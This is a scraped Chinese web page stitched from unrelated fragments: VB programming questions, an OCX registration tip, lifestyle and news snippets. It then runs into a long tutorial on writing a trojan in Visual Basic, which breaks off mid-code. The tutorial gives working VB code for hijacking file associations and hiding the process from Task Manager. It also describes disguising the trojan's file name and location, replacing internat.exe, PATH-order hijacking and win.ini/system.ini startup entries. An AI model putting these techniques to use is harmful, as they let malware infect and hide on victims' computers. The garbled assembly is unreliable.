您是怎么做的 !我不知道我是谁怎么VB编程 还有控件要真么设置!我也遇到这样的问题了 。还望不吝指教。

关于控件大小的有关问题 - VB当前位置:& &&&关于控件大小的有关问题关于控件大小的有关问题&&网友分享于:&&浏览:5次关于控件大小的问题本人刚开始接触VB,以前也没有编程的经验,最近遇到一个问题,觉得非常奇怪~
我在窗体上画了很多控件,以一个frame为例
窗体最大化后好象weight属性为19200,我在上面画了一个frame,它的大小差不多是窗体的一半多一点(编译执行的时候也是这么大),那么目测其weight大概有10000,但在其属性中weight属性仅为1400多~~请教各位这是怎么回事???
我新建了个工程,也画了差不多大的一个frame,在属性窗口看它的weight就是9000多~~~
我出现问题的那个窗口代码已经写的差不多了~~难道要我重新画一边界面???------解决方案--------------------你是说width么?还是height?
VB默认以Twip为单位计量控件尺寸,你可能设置了控件的ScaleMode属性为Pixel(1Pixel=15Twips)或者其他单位,造成你说的情况。
12345678910
12345678910
12345678910 上一篇:下一篇:文章评论相关解决方案 12345678910 Copyright & &&版权所有做VB工程时不可注册为ActiveX控件的问题
栏目: 编程语言综合 来源:  
&  大家在做VB工程的时候肯定都遇到过这种问题,在VB中添加控件的时候,工程&部件& 浏览,当添加了你需要的部件之后,弹出&
*.ocx不可注册为ActiveX控件&的对话框。这时候,你可能会去用regsvr32
注册它,但是它又提示&*.ocx控件加载失败&,无论你把它放在system32还是放在system64(Win7
64位),无论你是否用管理员身份来注册,结果&&都没有结果时。那很可能就是你的系统缺少OCX控件所依赖的那个DLL动态链接库。
  又有人问了,那如何才能知道我这个OCX控件都依赖什么DLL文件呢?这时还推荐你用Dependency Walker这款工具
  当你用Dependency Walker打开OCX控件(以AVPhone3.ocx为例)时,如下图:
  如下面那些MSACM32.DLL、MSVFW32.DLL等就是它依赖的DLL文件,你的系统中缺少哪个DLL文件,相应的前面哪个小方块就会变成黄色并且有个问号。如果是这样的话,那就乖乖地去下载相应的DLL文件然后注册,这时,再试试注册一下你的OCX控件,是不是成功啦!
07-25 07-25 07-20 07-14 07-01 07-01 06-26 06-11页面已拦截
无锡网警提示您:
该网址被大量用户举报,可能含有恶意信息。汉音对照 在VB编程中,Activemovie控件能支持mp3格式吗?为什么我给指定一个磁盘中的mp3说是文件错误! zai VB bian cheng zhong ,Activemovie kong jian neng zhi chi mp3 ge shi ma ? wei shen me wo gei zhi ding yi ge ci pan zhong de mp3 shuo shi wen jian cuo wu ! - 王朝网络 -
| 分享&&&&&当前位置: &&&&&&&&&&&&&&&&&&&&在VB编程中,Activemovie控件能支持mp3格式吗?为什么我给指定一个磁盘中的mp3说是文件错误! zai VB bian cheng zhong ,Activemovie kong jian neng zhi chi mp3 ge shi ma ? wei shen me wo gei zhi ding yi ge ci pan zhong de mp3 shuo shi wen jian cuo wu !&&&本文为【】的汉字拼音对照版分类: 电脑/网络 && 程序设计 && 其他编程语言参考答案:  支zhi持chi的de,你ni看kan是shi不bu是shi代dai码ma写xie错cuo了le  【】【】&&今日推荐
&&&&日版宠物情人2017的插曲,很带节奏感,日语的,女生唱的。
最后听见是在第8集的时候女主手割伤了,然后男主用嘴帮她吸了一下,插曲就出来了。
歌手:Def...老钟家的两个儿子很特别,就是跟其他的人不太一样,魔一般的执着。兄弟俩都到了要结婚的年龄了,不管自家老爹怎么磨破嘴皮子,兄弟俩说不娶就不娶,老父母为兄弟两操碎了心...把牛仔裤磨出有线的破洞
1、具体工具就是磨脚石,下面垫一个硬物,然后用磨脚石一直磨一直磨,到把那块磨薄了,用手撕开就好了。出来的洞啊很自然的。需要猫须的话调几...先来看下敬业福和爱国福
今年春节,支付宝再次推出了“五福红包”活动,表示要“把欠大家的敬业福都还给大家”。
今天该活动正式启动,和去年一样,需要收集“五福”...有时候我们打开冰箱就会闻到一股异味,冰箱里的这种异味是因为一些物质发出的气味的混合体,闻起来让人恶心。 产生这些异味的主要原因有以下几点。
1、很多人有这种习...简介
《极品家丁》讲述了现代白领林晚荣无意回到古代金陵,并追随萧二小姐化名“林三”进入萧府,不料却阴差阳错上演了一出低级家丁拼搏上位的“林三升职记”。...你就是我最爱的宝宝 - 李溪芮
(电视剧《极品家丁》片尾曲)
作词:常馨内
作曲:常馨内
你的眉 又鬼马的挑
你的嘴 又坏坏的笑
上一秒吵闹 下...乌梅,又称春梅,中医认为,乌梅味酸,性温,无毒,具有安心、除热、下气、祛痰、止渴调中、杀虫的功效,治肢体痛、肺痨病。乌梅泡水喝能治伤寒烦热、止吐泻,与干姜一起制...什么是脂肪粒
在我们的脸上总会长一个个像脂肪的小颗粒,弄也弄不掉,而且颜色还是白白的。它既不是粉刺也不是其他的任何痘痘,它就是脂肪粒。
脂肪粒虽然也是由油脂...来源:中国青年报
新的攻击方法不断涌现,黑客几乎永远占据网络攻击的上风,我们不可能通过技术手段杜绝网络攻击。国家安全保障的主要方向是打击犯罪,而不是处置和惩罚...夫妻网络直播“造人”爆红
  1月9日,温岭城北派出所接到南京警方的协查通告,他们近期打掉了一个涉黄直播APP平台。而根据掌握的线索,其中有一对涉案的夫妻主播...如何防止墙纸老化?
(1)选择透气性好的墙纸
市场上墙纸的材质分无纺布的、木纤维的、PVC的、玻璃纤维基材的、布面的等,相对而言,PVC材质的墙纸最不透气...观点一:破日本销售量的“鲜肌之谜” 非日本生产
近一段时间,淘宝上架了一款名为“鲜肌之谜的” 鲑鱼卵巢美容液,号称是最近日本的一款推出的全新护肤品,产品本身所...系腰裙(北宋词人 张先)
惜霜蟾照夜云天,朦胧影、画勾阑。人情纵似长情月,算一年年。又能得、几番圆。
欲寄西江题叶字,流不到、五亭前。东池始有荷新绿,尚小如...关于女人的经典语句1、【做一个独立的女人】
思想独立:有主见、有自己的人生观、价值观。有上进心,永远不放弃自己的理想,做一份自己喜爱的事业,拥有快乐和成就...你想体验机器人性爱吗?你想和性爱机器人结婚吗?如果你想,机器人有拒绝你的权利吗?
近日,第二届“国际人类-机器人性爱研讨会”大会在伦敦金史密斯大学落下帷幕。而...10.土耳其地下洞穴城市
变态指数:★★☆☆☆
这是土耳其卡帕多西亚的一个著名景点,传说是当年基督教徒们为了躲避战争而在此修建。里面曾住着20000人,......据英国《每日快报》报道,一位科学家兼理论家Robert Lanza博士宣称,世界上并不存在人类死亡,死亡的只是身体。他认为我们的意识借助我们体内的能量生存,而且...《我爱狐狸精》 - 刘馨棋
  (电视剧《屏里狐》主题曲)
  作词:金十三&李旦
  作曲:刘嘉
  狐狸精 狐狸仙
  千年修...·&·&·&&&[b]分类:[/b] 电脑/网络 && 程序设计 && 其他编程语言[br][b]参考答案:[/b][br]支持的,你看是不是代码写错了
  免责声明:本文仅代表作者个人观点,与王朝网络无关。王朝网络登载此文出于传递更多信息之目的,并不意味着赞同其观点或证实其描述,其原创性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容、文字的真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。&&&&&&为你推荐&&&&&&转载本文&UBB代码&HTML代码复制到剪贴板...&更多内容··········&&&&&&&&&频道精选&&王朝女性&&|&&|&&|&&|&&|&&|&&|&&|&&|&&|&&|&&|&王朝分栏&&|&&|&&|&&|&&|&&|&&|&&|&&|&&|&王朝编程&&|&&|&&|&&|&&|&&|&&|&&|&&|&&|&王朝导购&&|&&|&&|&&|&&|&&|&&|&&|&&|&&|&王朝其他&&|&&|&&|&&|&&|&&|&&&&&2005-&&版权所有&真正的VB木马,不用WINSOCK控件(1)_武林网
→ 真正的VB木马,不用WINSOCK控件(1)
真正的VB木马,不用WINSOCK控件(1)
这篇文章不是我写的,我也正在研究,里面很多代码都有错误,希望高手把代码调试完了发给我,谢了`~~~(奉劝各位学VB的朋友,不要以为用WINSOCK控件连接的两个窗口就是木马,VB木马真正的核心还是API)一、开篇废话一箩筐VB写的BackDoor/Trojan似乎是与尴尬同在的,不信?你去各大技术论坛发帖问问“小弟想做个木马,用什么开发好啊?”,大多数Expert级的建议都是“VC++、C++ Builder、Delphi”,唯独把VC++的同门兄弟VB拒之门外。难道VB真的就这么烂?进一步问问吧,高手们会给你列举VB的以下“好处”:1.必须有MSVBVM60.DLL(VB6.0)、MSVBVM50.DLL(VB5.0)存在,否则VB木马就只能当花瓶了。2.看看你用了多少个ActiveX吧――“Can't create Object,refused to run”3.运行时例外错误,突然蹦出个窗口来告诉马场主:“嘿,我是VB写的木马,我崩溃了,啦啦啦:P”4.超级不稳定,不知道什么时候就挂了。5.体积庞大……以上的确是在说实话……由于VB编写的程序有很多致命弱点,所以“聪明人”的首选当然是VC++、Delphi,但这并不能说VB就是穷途末路,记住,程序写得怎么样,看的是编写者的水平,而不是看他用什么语言!开动你的脑筋,做最周到的考虑,尽最精细的分析,就让VB木马也疯狂一回!二、忍住ActiveX的诱惑――纯API编程最基本的重点!别把后门技术与一般编程混为一谈,平时写程序喜欢挂多少个ActiveX随便你,但是在这里不可以!要想VB木马能四处撒欢,就必须先把VB程序无形的束缚――ActiveX技术抛掉,否则它就如一条缰绳,把你费尽苦心“拼装”出来的木马给牢牢的拴在你家里――难道你还想为你的马驹做个InstallShield?抛掉了ActiveX,还有什么?给我们提供了强大的API(Application Programming Interface,应用程序编程接口)支持,为什么C代码这么简洁?就因为环境的大部分C代码实际上是与系统API紧紧结合的,微软和第三方开发商已经提前把大量的API调用声明写入头文件(C++ Header File)了,VC程序员不必自己再写一大堆函数声明,直接用#include把相关的API声明的头文件拉进代码就可以!大家可以找个简单的C写的Exploit代码来看看头文件声明,例如:====================================================#include &winsock.h&WSAStartup(MAKEWORD(1,1),&wsaData);SockRaw=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);====================================================而在VB里要写一大堆:====================================================Declare Function WSAStartup Lib "Winsock.dll" (ByVal wVR As Integer, lpWSAD As WSADataType) As IntegerDeclare Function socket Lib "Winsock.dll" (ByVal af As Integer, ByVal s_type As Integer, ByVal protocol As Integer) As IntegerConst AF_INET = 2Const SOCK_RAW = 3Const IPPROTO_ICMP = 1ret = WSAStartup(&H101, wsadStartupData)SockRaw = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)====================================================对比两段代码,看出什么没有?VC程序员可以用一句#include &winsock.h&就把WSAStartup、socket、AF_INET等API声明和常数定义给省略了,而VB程序员就有得苦了。难怪ActiveX可以在VB的天下横行无忌――偷懒谁不会啊?但是我们是在做木马,要偷懒你就睡觉去吧,要想你的马驹在别人的马场里撒欢,就要对ActiveX说“NO”!我们只剩下API,好好发挥吧!三、沟通的窗户――WinSock首先介绍一下什么是WinSock。WinSock是在90年代初,为了方便网络编程而由Microsoft联合几家公司共同制定的一套下的网络编程接口,即 Sockets规范,它不是一种网络协议,而是一套开放的、支持多种协议的下的网络编程接口。Socket实际在中提供了一个通信端口,可以通过这个端口与任何一个具有Socket接口的通信。应用程序在网络上传输,接收的信息都通过这个Socket接口来实现。Socket也称为“套接字”。下的大部分语言都支持WinSock,VB也不例外。只不过,用VB+API写WinSock是件很不爽的事,太多的API调用和常数定义,一个套一个,写得头昏眼花,如果你懒得(或者没办法)写出一个完整的WinSock架构,那么我建议你去www.allapi.net下载KPD-Team做好的WinSock API Function Calls For VB再看下文。(文章附源代码)以前看到一些介绍“VB木马制作”的文章,大言不惭的使用了Microsoft WinSock Control 6.0(MSWINSCK.OCX)来做WinSock核心部件,这样做当然可以省去许多功夫,但是别忘了这是ActiveX!那些文章唬唬菜鸟可以,要想实际应用,做梦!既然已经把代码限制在API领域里,就要自己动手。如果你以前习惯了使用Microsoft WinSock Control 6.0来拼装网络应用程序,就要把那种简洁忘掉,否则你会很痛苦的,因为WinSock API不同于WinSock ActiveX,它们之间有很多差别:1.WinSock ActiveX(WSAX)给程序员提供了一个很方便的接收事件DataArrival,在里面用GetData方法就能获取数据,在WinSock API(WSAP)里,这个想法只能是美好的。2.WSAX想什么时候收发数据都可以,WSAP要求你老老实实先WSAStartup,填充sockaddr结构(sin_family、sin_port、sin_addr、sin_zero),connect后再send或者直接sendto出去,然后下面的recv马上进入戒备状态接收返回的数据,最后别忘了closesocket还有WSACleanup。3.WSAX把WinSock架构理想化了,每个事件都能做到看似分离实际整合(DataArrival、SendProgress、Error、Close等),而在WSAP编程里,你只能无奈的看着几个对应WSAX不同事件的API挤作一团,而且只能在一个过程里做完所有工作――WSAP只给你在一个过程里处理接收、回应和操作事件。如果你习惯在WSAX里几个不同的事件里写不同作用的代码,那么在WSAP里,你会发现完成相同作用的代码基本上都被挤在一个WinSock的recv/send处理过程里,也许你会说,建立一个异步模式的接收过程,但是这样的效率仍然比WSAX低。4.WSAP比WSAX容易崩溃,举个例子,如果你在没有对套接字进行特殊处理(例如select设置异步模式)的情况下直接让WSAP试图connect一个无法连接的服务器,你的整个程序都会被挂起,直到connect返回INVALID_SOCKET――弄不好就是永久的挂起,崩溃了;而WSAX则轻松的返回一个INVALID_SOCKET。5.最大一个问题:WSAP的声明和调用都太复杂了!如果你对WinSock API很了解,你可以写一个和WinSock设置有关的全局类模块,配合API使用,但这些并不能很好的解决WSAP繁琐复杂的问题。有兴趣的可以研究一下我在一个外国专业编程搜集到的VB代码WinsockTestBench。(随文章附上)在VB里用API写WinSock虽然很令人头痛,但是我们不得不忍受,为了制造马驹。而且,编写WinSock API会让你学到很多。木马程序里,WinSock部分占有很重要的地位,程序操作基本上都处于WinSock传输的数据控制下,所以写木马的第一步最好先完成一个能正常进行通讯的WinSock框架,这不是坏习惯。四、协议,端口接下来,就要思考清楚后门的报文协议,是TCP、UDP还是ICMP?开什么端口?这些都要想清楚,否则代码写复杂的时候要改就是一项很大的工程了。大多数木马是基于TCP协议+高位端口的,UDP协议不能很好的保证传输质量而且容易被伪造,一般不推荐使用。TCP和UDP都要开端口,并不代表UDP就能更好隐蔽端口的。新型的木马采用ICMP/IP头部信息来实现传输,做到了更高的隐蔽性,因为ICMP是由系统核心处理的,而且比TCP/UDP协议的层次更低些,不需要开端口,除非对方禁止了ICMP,否则这种后门可以在防火墙眼皮底下穿行;基于IP头部的传输模式在Win9x/Me系统上应该无法实现了,这些非NT架构的系统不支持IP_HDRINCL,用户不能自己填充IP头部数据。很少人会留意这些零碎的IP数据包是否正在传递信息,不过就是不如直接TCP传输得舒服就是了,因为IP报文的头部空域很有限,并不是你想添加多少就添加多少的。用IP报文尾部发送数据?你不如直接用TCP/UDP发送好了……五、当错误发生的时候VB程序其实很脆弱,当一些不可预料的错误(例如溢出、文件读写失败等)发生时,它们会很委屈的弹出提示信息,设想一下你的木马在读取文件时突然遇到磁盘坏道,它就会弹出信息暴露自己了。所以,VB木马作者们必须认真对待VB的错误处理机制,为程序设置错误陷阱,做到最大的安全性。错误陷阱必须设置在每个过程的第一行里,记住这两个常用的错误处理语句:On Error Resume Next、On Error GoTo [Flag]。1.On Error Resume Next它让VB程序遇到例外错误时直接执行下一句代码,例如这句代码存在风险:Open "c:\scandisk.log" For Input As #1这句代码本身并没有什么错误,但是它带来了产生致命错误的风险:C盘根目录下的scandisk.log文件不存在时,程序就崩溃了。如果我们给这个语句加入错误陷阱,告诉它无论遇到什么情况都别出声,就可以把风险降到最低:)On Error Resume NextOpen "c:\scandisk." For Input As #1'经过这样的处理,这个语句永远不会弹出错误信息:)2.On Error GoTo [Flag]虽然On Error Resume Next能降低风险,但是它并不是万能的,一些严重错误如溢出、死循环用On Error Resume Next只会让程序越陷越深。考虑周全一些,在一些危险代码里使用On Error GoTo [Flag],它至少能让程序跳出挣扎的泥潭:=========================================================On Error GoTo ErrProcessSet vDoc = webMain.DocumentFor j = 0 To vDoc.All.length - 1Set vTag = vDoc.All(j)If UCase(vTag.tagName) = "A" ThentmpUser = vTag.innertexttmpUser = Replace(tmpUser, "[所有人]", "所有人")If InStr(tmpUser, "在线列表") && 0 Then tmpUser = ""If InStr(tmpUser, "本室") && 0 Then tmpUser = ""If tmpUser = "所有人" Then tmpUser = ""If tmpUser && "" ThenConnectedUser(i) = tmpUseri = i + 1UserCount = UserCount + 1ElseEnd IfElseEnd IfNext jExit SubErrProcess:Exit Sub=========================================================在上面的代码里,由于Resume Next会让程序忽略错误,用变量的初始值去进行计算处理,因此当vDoc=Null时,vDoc.All=0,程序会在下面的Next循环里死掉,因为我们强制了程序的错误处理为“忽略错误并执行下一个语句”,要让程序跳出这个死循环,唯有设置一个Flag,让程序跳过一大堆可能会造成致命错误的语句,直接Exit Sub。但是也不要大量的使用On Error GoTo错误陷阱,它不仅繁琐,而且让你的代码跳来跳去,非常不结构。综上所述,On Error Resume Next和On Error GoTo [Flag]任何一方都不是********,不要一统天下都是On Error Resume Next或On Error GoTo [Flag],唯有根据不同情况配合使用不同错误处理语句,才能最大限度确保程序安全。六、整齐的,才是最好的没有人喜欢零散,写程序也一样,零散的代码让程序变得难读难修改,时间久了连你自己都不知道某个语句为什么在那里,起什么作用了;而且代码零散还会降低程序运行效率,增加不必要的重复代码,增大了程序的体积。例如一个用于判断文件是否存在的代码:=========================================================Dim FileExists As BooleanOpen FileName For Input As #1If Err = 0 ThenFileExist = TrueElseFileExist = FalseEnd If========================================================= 如果你要判断多个文件是否存在,就必须把上面的代码重复多次,自己累不算,程序也变得臃肿。VB给我们提供了模块,利用模块的全局属性,我们可以把一些重复的代码写成全局函数,方便了自己也减少了程序的开销:=========================================================Function FileExist(FileName As String) As BooleanOn Error Resume Next '别忘了错误陷阱Dim FileNum As IntegerFileNum = FreeFile()Open FileName For Input As #FileNumIf Err = 0 ThenFileExist = TrueElseFileExist = FalseEnd IfClose #FileNumEnd Function=========================================================在全局模块里声明了这个函数(别用Private前缀声明)后,我们就可以方便的在程序任何角落用FileExists("文件名")来判断了,而且把程序代码模块化也提高了代码可读性。所以,为了程序更好执行,请尽量把代码模块化。附:给出几个实用的模块化代码========================================================='判断文件是否存在Function FileExist(FileName As String) As BooleanOn Error Resume NextDim FileNum As IntegerFileNum = FreeFile()Open FileName For Input As #FileNumIf Err = 0 ThenFileExist = TrueElseFileExist = FalseEnd IfClose #FileNumEnd Function'获取程序本身所在的目录(返回的字符以“\”结尾)Function Path() As StringIf Len(App.Path) &= 3 ThenPath = App.PathElsePath = App.Path & "\"End IfEnd Function'获取系统目录(SYSTEM)路径Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As LongFunction SysPath() As StringSysPath = String(145, Chr(0))SysPath = Left(SysPath, GetSystemDirectory(SysPath, 145)) & "\"End Function'获取Window路径(系统目录)Declare Function GetDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As LongFunction WinPath() As StringWinPath = String(145, Chr(0))WinPath = Left(WinPath, GetDirectory(WinPath, 145)) & "\"End Function'字符串替换(使用方法:输出=ModifyString(欲处理的字符串,原字符,替换字符),例如 strOut=ModifyString(strSource,"hello","你好"),表示把strSource变量里的“hello”替换为“你好”)Public Function ModifyString(strModString As String, strSrc As String, sgnModify As Variant)On Error Resume NextIf strSrc && sgnModify ThenWhile InStr(strModString, strSrc) && 0strModString = Left(strModString, InStr(strModString, strSrc) - 1) & sgnModify & Mid(strModString, InStr(strModString, strSrc) + Len(strSrc))WendEnd IfModifyString = strModStringEnd Function=========================================================七、Win9x?Win2000?由于的两个不同架构(Win9x、WinNT),导致了环境的差异,更雪上加霜的是MS在两个架构的系统里提供了某些会引发兼容问题的API,例如RegisterServiceProcess这个用于注册系统服务的API,在9x环境里正常,在NT里则变成“找不到DLL入口”――NT架构的系统服务概念和9x不同。又如涉及网络操作的一些API,9x里休想找到它们的影子。当你的程序调用了这些无法访问的API,立即就会崩溃,而且死之前还会老实的弹出对话框暴露自己,落得个连诛九族……当然,还有一个更重要的问题,那就是NT架构才有的NT服务(NT-Service),在下文会介绍。因为有这些环境差异,我们不得不根据不同的环境设置不同的路标,这就需要判断系统类型了。也有自知之明,给我们提供了GetVersionEx这个API。=========================================================Type OSVERSIONINFOdwOSVersionInfoSize As LongdwMajorVersion As LongdwMinorVersion As LongdwBuildNumber As LongdwPlatformId As LongszCSDVersion(1 To 128) As ByteEnd TypePublic Const VER_PLATFORM_WIN32_NT = 2&Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As LongFunction CheckIsNT() As BooleanDim OSVer As OSVERSIONINFOOSVer.dwOSVersionInfoSize = LenB(OSVer)GetVersionEx OSVerCheckIsNT = OSVer.dwPlatformId = VER_PLATFORM_WIN32_NTEnd Function=========================================================如果CheckIsNT函数返回True,那就是NT/2000/XP没错了,接下来你应该知道如何对付了吧。八、我的马儿安家在哪里?把木马放在哪里能做到最大的隐蔽性是个难以肯定的答案,但是有一点可以直说!别自作聪明自己建立目录放木马,也别选敏感目录如Recycled、My Documents、TEMP、Local Settings、Fonts、Inf等,这些目录可以骗骗初学者,但是连中级水平的用户都能感觉到不对劲。我个人认为可以放在一些重要目录里,把文件名起得专业一点,例如/WINNT、SYSTEM/SYSTEM32、JAVA(最好文件名里也有个JAVA)、Config、Program Files\Common Files\SYSTEM等特殊目录,这样至少连中上水平的用户也要确认半天,当然有一半成功率还要看看你会不会起文件名,可以在本身的一些重要或者不常被人注意的文件名上打主意,例如原来有个mmtask.tsk那就来个mmtask.exe、有wupdmgr.exe就发展个wupdmgr32.exe等,这些文件名起的迷惑性比一般的文件名大得多。当然你就不要起Notepad32.exe、scanregw32.exe、scandskw32.exe这种常用程序的“32bit 克隆”名字了,只要不是非典型的用户,70%都会怀疑的……九、喧宾夺主――更改并联下的文件并联无处不在,所以这里是个很好的市场哦。目前许多常见的木马都用了这个手法,让用户在不知不觉中反复执行木马程序,导致屡杀不尽!其实在VB里,这个功能非常容易实现:========================================================='文件并联的代码'Author:小金(LK007) www.s8s8.net '使用方法:SetFileAssociate 文件类型, 类型说明, 文件后缀'例如:SetFileAssociate "txtfile", "文本文件", ".txt"'/////////////////////////////////////////////////////////////Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkresult As Long) As LongDeclare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As LongDeclare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As LongPublic Const HKEY_CLASSES_ROOT = &HPublic Const REG_SZ = 1Sub SetFileAssociate(sKeyName As String, sKeyValue As String, sFileAssoc As String)On Error Resume NextDim ret As LongDim lphKey As LongDim sFileExec As StringsFileExec = App.Path & App.EXEName & ".exe " & """%1""" '注意是".exe "不是".exe"ret = RegCreateKey(HKEY_CLASSES_ROOT, sKeyName, lphKey)ret = RegSetValue(lphKey, "", REG_SZ, sKeyValue, 0&)ret = RegCreateKey(HKEY_CLASSES_ROOT, sFileAssoc, lphKey)ret = RegSetValue(lphKey, "", REG_SZ, sKeyName, 0&)ret = RegCreateKey(HKEY_CLASSES_ROOT, sKeyName, lphKey)ret = RegSetValue(lphKey, "DefaultIcon", REG_SZ, "%1", 2)ret = RegCreateKey(HKEY_CLASSES_ROOT, sKeyName, lphKey)ret = RegSetValue(lphKey, "shell\open\command", REG_SZ, sFileExec, Len(sFileExec))ret = RegCloseKey(lphKey)End Sub=========================================================注意,经过这样修改后,文件就必须由你的程序来负责处理了,我们需要在Form_Load或Main里加入下面给出的“文件打开方式重定向”代码,否则就弄巧成拙了,注意这段代码中的文件后缀判断语句。========================================================='在Form_Load或Main加入 (以TXT并联为例)On Error Resume NextDim CommandLine As StringCommandLine = Trim$(Command$)If CommandLine && "" ThenIf InStr(CommandLine,".txt") && 0 Then Shell("notepad.exe " & CommandLineElseEnd If=========================================================这个方法的破绽:细心的用户会注意到,被更改了并联的文件类型打开速度变慢了,这是因为VB代码的执行效率比较低,而且Shell又消耗了一些额外时间,没有优化的方法。我们只能祈祷马场主是个超级马大哈……十、隐藏进程在中按ALT+DEL+CTRL会出现任务管理器,一切普通进程都能在里面看到,这样也会暴露我们的后门程序,因此必须给它来个障眼法。Win9x/Me提供了一个API――RegisterServiceProcess,它的作用是把一个进程提升为“系统服务”,这样的进程在任务管理器里不可见。Win2000/XP里没有提供这个API,因为两种系统架构不同,“服务”的概念也不同,在NT架构里,使用一种称为“NT-Service”的技术来区分一般进程和服务程序,在第5期有文章介绍,这里也不细说了,NT-Service部分资料请看第十一小节。VB代码如下,它很简单,用GetCurrentProcessId获取自身进程标识后调用RegisterServiceProcess转型为系统服务:=========================================================Declare Function GetCurrentProcessId Lib "kernel32" () As LongDeclare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As LongSub MakeAsService()Dim pid As Longpid = GetCurrentProcessId()RegisterServiceProcess pid, 1End Sub=========================================================除了注册为系统服务,还有个更简单的方法是把程序的任务标题改为系统进程的名字,如Rundll32、mmtask、Rnaapp、WinOldApp等,如果你实在够懒,可以试试看…… 十一、启动模式要想木马能随时为你服务,就必须让它自己跟随系统启动,除了木马启动禁地――开始菜单的“启动”组不在考虑范围,我们还有几个方法让它自己爬起来。1.下的启动――替换程序篇如果你认为躲躲藏藏不如反客为主来得豪气些的话,可以用这招,把自身的一些非重要而又跟随系统启动的程序换掉。不知道为什么,用于切换输入法的程序internat.exe成为了这种行为的最大受害者,那么我就用它来举例说明一下这种方法的详细操作,替换其他程序的方法也差不多。(1).木马程序查找并杀掉internat.exe进程;(2).用Name函数把原来的internat.exe改名,必要时用FileCopy把internat.exe改名复制到另外目录(深层目录比较好);(3).把自身复制到internat.exe所在的目录,名称为internat.exe;(4).程序的初始化代码段必须加上一句Shell函数用以启动原来的internat.exe:Shell [被改名的internat.exe],vbNormalNoFocus。2.目录遍历在目录遍历时依据从外到里的方式,如果用户未指定一个程序的路径信息,会按照从系统盘根目录到系统目录的顺序寻找文件。例如在开始菜单的运行里输入msconfig,在后台的操作是:1.定位到系统盘根目录(如C:\),检查文件是否存在2.如果在根目录没有发现文件,根据环境变量信息进入系统目录查找3.如果在系统目录里找不到,则进入更深一层的重要目录(SYSTEM目录)查找4.如果找到文件,则执行它,查找过程结束。如果遍历认得出的所有目录(由注册表的环境变量决定)仍然找不到文件,就返回“找不到文件%s”这些步骤可以用一个循环来表达:===================================================For i=0 To (Environment.count-1)If FileExists(Environment.Path(i)) ThenFound = 1Shell(Environment.Path(i) & RunFile,vbNormalFocus)Exit ForElseEnd IfNextIf Found = 0 Then MsgBox "找不到文件" & RunFile===================================================其中的Environment.Path(i)可能包含这些路径信息,注意看数组序号和路径的关系:Environment.Path(0) = "C:"Environment.Path(1) = "C:\" Or "C:\WINNT"Environment.Path(2) = "C:\\SYSTEM" Or "C:\WINNT\SYSTEM32"根据目录遍历的特点,我们可以把木马程序文件名改为某个默认随系统启动而且没有指明详细路径信息的程序,并把自身放在原程序所在的“上一层”目录,例如C:\是C:\\SYSTEM的上一层目录。这样,就会把木马程序启动,而忽略了“深闺处”的原程序,所以我们的木马程序必须在启动时好心替执行一下被忽略的原程序。目前比较容易被忽略的程序有:inetnat.exe、 SysTray.exe、 taskmon.exe 等。如果一个默认自启动的程序已经设置了路径信息,是否就意味着我们必须放弃?不一定,别忘了可以修改注册表,把详细路径字符串去掉。详细请看第4小节,把sApplication变量设置为不带任何路径信息的单独文件名即可。3.Win9x/Me下的启动――INI篇INI(配置文件)是一种特殊格式的文本文件,它主要用于保存程序的配置信息,这里就不做详细介绍了。WIN.INI和SYSTEM.INI是从Win3.1遗留下来的产物,Win9x/Me仍然比较完整的保留了,而2000/XP则有改动。INI文件由一个或多个部分(section)组成,每个section下面存在多个关键字(Keyword)和值(Value),它们共同负责配置一个程序的环境,表现形式如下:===================================================[section1]keyword1=valuelkeyword2=value2...............[section2]keyword1=value1keyword2=value2...............===================================================打开WIN.INI和SYSTEM.INI,会看到最前面的开头部分有这些字符串:===================================================SYSTEM.INI:[boot]shell=Explorer.exesystem.drv=system.drvdrivers=mmsystem.dll power.drvuser.exe=user.exeWIN.INI:[]load=NullPort=NoneDefaultQueueSize=32=================================================== 注意看[boot]的shell关键字和[]的load关键字,这里就是的自启动程序加载的信息,也给木马留了个大门。[boot]的shell用于加载GUI外壳程序,如果这里的值被乱改了,你将看不到下次启动的桌面;[]的load在刚显示GUI界面的时候执行程序。所以执行程序优先顺序为:[]load ---& [boot]shell而这两个关键字允许用户添加多个用空格分开的值,这是个很好利用的要处,为什么这样说呢?如果它们只支持一个值,那么我们就不能打[boot]shell的主意,因为替换掉外壳程序的加载值后,就玩完了,但是,既然它支持多个值,我们就可以让加载外壳的时候顺便也启动我们的后门。例如,把木马程序MyApp.exe加入shell,正确的表达式必须是 shell=Explorer.exe MyApp.exe 而不是 shell=MyApp.exe在VB里用下列代码完成一个完整的读写INI操作:==================================================='Code by www.s8s8.net LK007'------------------------------------------------Declare Function GetPrivateProfileInt Lib "kernel32" Alias "GetPrivateProfileIntA" (ByVal lpApplicationName As String, ByVal lpKeyName As String, ByVal nDefault As Long, ByVal lpFileName As String) As LongDeclare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As LongDeclare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As LongFunction WriteString(IniFileName As String, Section As String, key As String, Value As String) As BooleanWriteString = FalseIf WritePrivateProfileString(Section, key, Value, IniFileName) = 0 Then Exit FunctionWriteString = TrueEnd FunctionFunction ReadString(IniFileName As String, Section As String, key As String) As StringDim ReturnStr As StringDim ReturnLng As LongReturnStr = Space(255)ReturnLng = 